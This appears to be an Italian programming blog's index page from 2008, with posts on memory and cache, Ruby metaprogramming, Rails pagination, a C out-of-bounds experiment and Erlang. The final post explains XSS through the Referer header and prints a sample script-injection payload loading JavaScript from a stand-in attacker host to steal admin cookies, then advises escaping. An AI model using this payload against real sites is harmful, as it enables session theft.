Analisi del modello sostitutivo per applicazioni procedurali

Posted by Dibi Store Wed, 07 May 2008 13:12:00 GMT

Il modello sostitutivo, in ambito informatico, è il più semplice di una serie incrementale di modelli che descrivono come un interprete analizza il programma. L'uso del modello sostitutivo è quotidianamente usato anche dagli utenti per capire come una determinata procedura funziona. Per cogliere al volo il concetto analizziamo il seguente listato:

  pi: 3.14159
  
  circonferenza(x): x * x * pi
  
  somma_di_circonferenze(x, y): circonferenza(x) + circonferenza(y)
  
  somma_di_circonferenze(4, 7) = ?
  
Read more...

Posted in  | no comments | no trackbacks

Principi base della gestione di memoria

Posted by Dibi Store Sat, 29 Mar 2008 22:11:00 GMT

Quando programmiamo in alcuni linguaggi di alto livello, come ad esempio in ruby, non abbiamo bisogno di preoccuparci di come viene gestita la memoria da parte del computer. Tuttavia è interessante (oltre che utile) conoscere almeno a livello superficiale cosa avviene dietro le quinte. Questo articolo ha l'obiettivo di descrivere in maniera generale il processo di lettura e scrittura della memoria.

Registri

I registri sono la parte più performante della memoria, ma sono anche molto costosi, infatti nei processori 80x86, abbiamo a disposizione solo 8 registri da 32 bit (più altri di minore capacità). Quando lavoriamo a basso livello ci conviene sempre utilizzare i registri (se possibile) in modo di sfruttare appieno la velocità della nostra cpu.

Cache

La cache è quella parte della memoria che memorizza i valori corrispondenti a diversi indirizzi fisici di memoria. In ogni computer può esser presente uno o più livelli di cache, ad esempio L1 e L2. Prendendo come esempio L1, esso è costituito da diverse cache lines (linee di cache) che a loro volta contengono delle sequenze di byte.

In che modo vengono memorizzati i dati in cache?

Solitamente vengono usate tre strategie per determinare in quale cache line inserire il valore presente in memoria:

  • strategia a mappatura diretta: da ogni indirizzo di memoria viene ricavata la relativa linea di cache attraverso un algoritmo. Tuttavia essendo le linee di cache un numero molto inferiore rispetto agli indirizzi di memoria, è probabile che si creino dei conflitti qualora si tenti di sovrascrivere una linea di cache già usata in precedenza.
  • strategia a mappatura associativa: in questo caso il controller di cache, ha la possibilità di decidere arbitrariamente quale linea di cache utilizzare. Questo metodo è poco usato in quanto molto dispendioso a livelli di performance.
  • memoria associativa n-volte (n-way set associative cache): In questo caso il blocco di cache che abbiamo a disposizione viene suddiviso n volte (per esempio 2 o 4), e queste suddivisioni vengono chiamate set. Questo ci permette di usare la strategia a mappatura diretta direttamente sui set, mentre al loro interno possiamo usare la strategia a mappatura associativa.

E quando tentiamo di sovrascrivere una linea di cache utilizzata in precedenza?

Nel caso in cui tentiamo di sovrascrivere una porzione di memoria attraverso una mappatura diretta, viene semplicemente dovrascritta la parte interessata, mentre nel caso stiamo usando una mappatura associativa, il discorso diventa più complesso: in alcuni casi viene sostituita la linea di cache usata meno recentemente, mentre altre volte la sostituzione avviene in modo randomico oppure attraverso il meccanismo fifo (first in first out).

Cosa succede quando scriviamo dati in memoria principale?

Ma soprattutto: quando tento di salvare un dato in un indirizzo di memoria, il livello di cache che si occupa di memorizzare il valore, come interagisce con questo processo?
Anche qui le scelte più usate sono due:

  • write through policy
  • write back policy

Write through policy; ogni volta che memorizziamo un dato in memoria, dapprima viene salvato in cache, subito dopo nella memoria principale. Write back policy invece salva prima il dato in memoria, e dopo un certo lasso di tempo lo salva nella memoria principale. Qualora stiamo salvando grosse quantità di memoria, nel primo caso il BUS che trasporta i dati dalla cache alla memoria principale finisce per intasarsi, analogamente nel secondo caso se tentiamo di memorizzare un dato nella stessa linea di cache, dobbiamo attendere che venga trasferito il rispettivo valore nella memoria principale. Nel caso la performance sia un elemento essenziale, è compito del programmatore (nei limiti del possibile) assicurarsi di utilizzare la cache in maniera propria.

NUMA

Questo livello di memoria viene usato generalmente da dispositivi quali schede video, schede di interfaccia, ecc, che ovviamente hanno un tempo di accesso maggiore rispetto alla memoria principale.

Memoria virtuale

La memoria virtuale simula la memoria principale utilizzando lo spazio su disco ed è responsabile del trasferimento di dati dall'hard disk alla memoria principale. E' inoltre responsabile della gestione dei processi del sistema, ad esempio ipotizzando di avere in attivo 10 servizi contemporaneamente, come può la CPU decidere quale memoria far utilizzare a ciascun servizio? La risposta è il paging.
Il paging consiste nel suddividere la memoria in porzioni (per esempio da 32 bit) le quali vengono affidate ai vari processi. In questo modo ogni processo avrà i suoi indirizzi di memoria riservati (nota che per il processo 1, l'indirizzo $F è diverso dal rispettivo $F nel processo 2). La CPU userà poi in seguito una tabella di lookup per conoscere l'effettivo indirizzo, che a sua volta contiene un meccanismo di cache per evitare problemi di performance.

Esempio pratico per l'ottimizzazione del software in C

  int arr[123][123]
  ...
  for(i = 0; i < 123; i++)        arr[0][0] = ..
  {                               arr[1][0] = ..
    for(j = 0; j < 123; j++)      arr[2][0] = ...
    {
      arr[j][i] = i + j;
    }
  }
  
vs

  int arr[123][123]
  ...
  for(i = 0; i < 123; i++)        arr[0][0] = ..
  {                               arr[0][1] = ..
    for(j = 0; j < 123; j++)      arr[0][2] = ...
    {
      arr[i][j] = i + j;
    }
  }

In questi due esempi l'unica differenza risiede nell'ultima istruzione. Il C usa l'ordinamento a colonne per gestire gli array di dimensione multipla, per cui vengono salvati gli indici in posizioni continue nella cache di memoria. Tuttavia nel primo esempio l'accesso avviene in modo non naturale, causando un fenomeno descritto come trashing, mentre nel secondo caso sfruttiamo appieno le capacità della CPU.

La chiave qui sta nel fatto che è sempre meglio studiare come avviene l'accesso alla memoria qualora si stia tentando di ottimizzare il proprio codice a questi livelli (anche se sarebbe sempre da prendere come regola generale).

Conclusioni

Nella lista non è stata inclusa la gestione della memoria su disco fisso, dispositivi esterni e network.
Approfondimenti:

Posted in  | Tags  | no comments | no trackbacks

Principi base di input/output (I/O) in ruby

Posted by Dibi Store Sat, 22 Mar 2008 18:01:00 GMT

Una domanda legittima che un programmatore può farsi nel corso dei suoi studi è: dov'è che esattamente viene rediretto l'output dei miei comandi?
Ad esempio in ruby, il metodo puts viene chiamato senza ricevente esplicito, quindi da qualche parte deve essere definito dove stampare la stringa.

Quando avviamo un programma in ruby, ci vengono fornite tre costanti, STDIN, STDOUT e STDERR, che indicano rispettivamente da dove prendere l'input, dove stampare l'output e infine gli errori. Queste variabili contengono degli indirizzi di memoria, possiamo verificarlo con un semplice inspect delle costanti.
A dire il vero, ruby ci mette a disposizione anche tre variabili globali ($stdin, $stdout e $stderr), che possono essere gestite direttamente da noi all'interno del programma per modifica il flusso I/O. Vediamo un esempio:

  file = File.new('foo', w)
  puts 'standard output'
  
  $stdout = file
  puts 'sto scrivendo all\'interno del file'
  
  $stdout = STDOUT
  puts 'sono nuovamente nel flusso standard'
  

Posted in  | Tags  | no comments | no trackbacks

Usare acts_as_taggable con will_paginate

Posted by Dibi Store Thu, 20 Mar 2008 14:28:00 GMT

Il plugin acts_as_taggable_on_steroids è molto utile quando abbiamo bisogno di taggare i nostri modelli in rails. Recentemente mi sono trovato a dover implementare una funzionalità di paginazione che tenesse conto dei risultati della ricerca per tag. Come plugin per la paginazione usiamo will_paginate e per aggiungere la funzionalità mi è bastato inserire questo pezzo di codice alla fine del file environment.rb.

  module ActiveRecord
    module Acts
      module Taggable
        module SingletonMethods
          def paginate_tagged_with(*args)
            options = find_options_for_find_tagged_with(*args)
            options.blank? ? WillPaginate::Collection.new(1, 1, 0) : paginate(:all, options)
          end        
        end
      end
    end
  end

Dietro le quinte stiamo definendo un metodo che usa paginate al posto di file, WillPaginate::Collection.new(1, 1, 0) serve invece per evitare di ricevere l'errore undefined method `page_count' for []:Array quando l'array di risultati è vuoto.

Posted in  | no comments | no trackbacks

Ruby inherited, come sapere quando viene create una sotto classe

Posted by Dibi Store Fri, 07 Mar 2008 16:20:00 GMT

A volte può essere utile conoscere quando viene creata una sotto classe di una particolare classe. Per questo può tornare utile il metodo di classe (scusate il gioco di parole) Class.inherited. Gli esempi seguenti sono auto esplicativi e non dovrebbero lasciare dubbi:


class Foo
  
  class << self  # => Uguale a def self.inherited...
    def inherited(sub_class)
      puts "Hai creato la sottoclasse #{sub_class}"
    end
  end

end

class Bar < Foo; end

Posted in  | Tags  | no comments | no trackbacks

Ruby define_method e module_eval: ancora sulla metaprogrammazione

Posted by Dibi Store Tue, 04 Mar 2008 10:28:00 GMT

Continuo la serie di articoli riguardo la metaprogrammazione in Ruby mostrando un paio di metodi molto utili. I metodi che seguono permettono di creare rispettivamente un metodo di istanza (ossia che disponibile successivamente aver istanziato la classe) e un metodo di classe (richimabile senza aver istanziato la classe). Questi metodi sono molto utilizzati ad esempio nel sorgente di rails e ci permettono di usare tutti quei metodi come validates_presence_of che ci vengono regalati in molte classi. Notate nel secondo esempio come usiamo in modo appropriato il codice class << self.

class Test; end
  
Test.module_eval do  
  define_method :talk do  
    puts "This is cool!"  
  end  
end  
  
Test.new.talk # => This is cool!


Test.module_eval do
  class << self
    define_method :talk_again do
      puts "This is more cool!"
    end
  end
end

Test.talk_again # => This is more cool!

Un applicazione reale? Immaginate di dover definire lo stesso metodo in dieci classi diverse contenute nell'array classi, potreste usare il codice seguente:

classi.each do |c|
  c.module_eval do
    define_method :validates... do |*args|
      ....
    end
  end
end

Notate che *args è un hash di argomenti che possono essere passati alla funzione, potete poi estrapolarli a vostro piacere. E' possibile anche dare un solo (o più) argomenti alla funzione con la seguente sintassi define_method :name do |arg1, arg2| ... end.

Risorse: documentazione modulo

Posted in  | Tags  | no comments | no trackbacks

Ruby Module::constants metaprogrammazione in Ruby

Posted by Dibi Store Mon, 03 Mar 2008 19:47:00 GMT

In ruby è possibile conoscere l'elenco delle costanti accessibili da un determinato modulo o classe attraverso il metodo Module::constants.
Il metodo ritorna un array delle costanti definite dal modulo e dai moduli che sono stati inclusi in essi. Di seguito degli esempi chiariranno meglio il concetto:

class Klass
  Foo = 'foo'
  
end

puts Klass.constants.include?('Foo')   # => true


module Foo
  Bar = 'bar'
end

puts Foo.constants.include?('Bar')   # => true


module Test
  include Foo
end

puts Test.constants.include?('Bar')   # => true

puts Object.constants.include?('Klass')   # => true

puts Object.constants.include?('Foo')   # => true

class Klass Foo = 'foo' end puts Klass::Foo # => foo Klass.const_set(:Test, 'valore') puts Klass::Test # => valore # Ridefiniamo la costante Foo Klass.const_set(:Foo, 'bar') puts Klass::Foo # => bar

Notate che l'ultimo test funziona, anche se giustamente viene restituito un warning che ci avvisa che la costante era già stata definita.

Per finire può essere utile ridefinire il metodo che viene invocato quando una costante non esiste, nell'esempio seguente restituirò un messaggio per avvertire che la costante non esiste:

def Object.const_missing(name)
  "La costante #{name} che cercavi non è ancora stata definita"
  
end

puts Class::Foo # => La costante Foo che cercavi non è ancora stata definita

Posted in  | Tags  | no comments | no trackbacks

Niente segmentation fault in mac osx?

Posted by Dibi Store Sun, 02 Mar 2008 17:21:00 GMT

Oggi pomeriggio stavo provando qualche semplice esempio di buffer overflow sul mio mac book e mi aspettavo (come negli altri sistemi) di ricevere un errore di segmentation fault qualora tentassi di sovrascrivere un array al di fuori della sua grandezza. L'esempio chiarisse cosa stavo tentanto di fare:

int main()
{
	int array[5];
	int i;
 
	for(i = 0; i < 255; i++)
	{
		array[i] = 10;
	}
 
	printf("%d\n", array[40]);
 
	return 0;
}

Cosa vi aspettereste di output? Bhe di certo non 10! Se qualcuno sa dirmi il perchè di sta cosa mi fa un piacere, certo è che sta cosa a mio parere può condurre ad errori e andrebbe tolta.

Posted in  | Tags  | 10 comments | no trackbacks

Introduzione a Erlang

Posted by Dibi Store Sun, 02 Mar 2008 11:54:00 GMT

Erlang è un linguaggio di programmazione concorrente, ossia destinata all'iterazione di molti processi contemporanei, si pensi ad esempio a un applicazione di chat.

Erlang è stato creato nei laboratori Ericsson e reso in seguito open-source. Oggi vanta di una comunità di sviluppatori in forte crescita. Viene usato in moltissime situazioni reali, in particolare nel settore delle telecomunicazioni, come T-Mobile. Il linguaggio è compilato e molto veloce.

Programmare in Erlang è semplice, tuttavia potrebbe apparire strano all'inizio, in quanto è un tipo di programmazione che si distacca dalla comune programmazione ad oggetti.
Nei prossimi articoli inizierò a parlare di questo fantastico linguaggio, cercando di dare qualche suggerimento come al solito, intanto lascio qualche risorsa per chi vuole approfondire e valutare se investire in questa risorsa.

Il sito ufficiale: www.erlang.org
Community: www.trapexit.org/
Un ottimo libro per iniziare: programming erlang

Posted in  | Tags  | 2 comments | no trackbacks

XSS sfruttando i referrer link

Posted by Dibi Store Wed, 13 Feb 2008 08:37:00 GMT

Molti non sanno che è possibile sfruttare la tecnica di xss anche tramite l'attributo referrer. A titolo didattico illustrerò un esempio non reale ti tale tecnica. Notate che l'url in questione può essere camuffata in diverse tecniche.

Innanzitutto l'attaccante individua una vittima e ipotizza che da qualche parte in admin ci sia una schermata di riepilogo dei referrer che hanno puntato al sito, poi crea una pagina ad hoc in qui crea un link che punti ad esempio alla home page del sito vittima, e ci clicca. In questo modo il sito vittima registrerà tale evento e verà visualizzato l'url all'amministratore. Cosa succede se però l'indirizzo del referrer è qualcosa di simile al seguente?

Referer: http://sito-cattivo.com/?<script/src="http://hacker.com/hackForIE.js
?unique=123456"src="http://hacker.com/hackForFF.js?unique=123456"></script>

In pratica questo script caricherà come sorgente il js sul sito hacker.com, tale url è stata scritta (non direttamente da me) per evitare una protezione del browser firefox. Inutile dire che dentro quel sito potrebbe esserci ad esempio un javascript che invia i cookie ad un web service predisposto per riceverli. Per ovviare al problema ricordatevi di fare un escape di tutti i dati che un utente può modificare e arrecare danno.

Posted in  | Tags  | no comments | no trackbacks

Older posts: 1 2 3 ... 8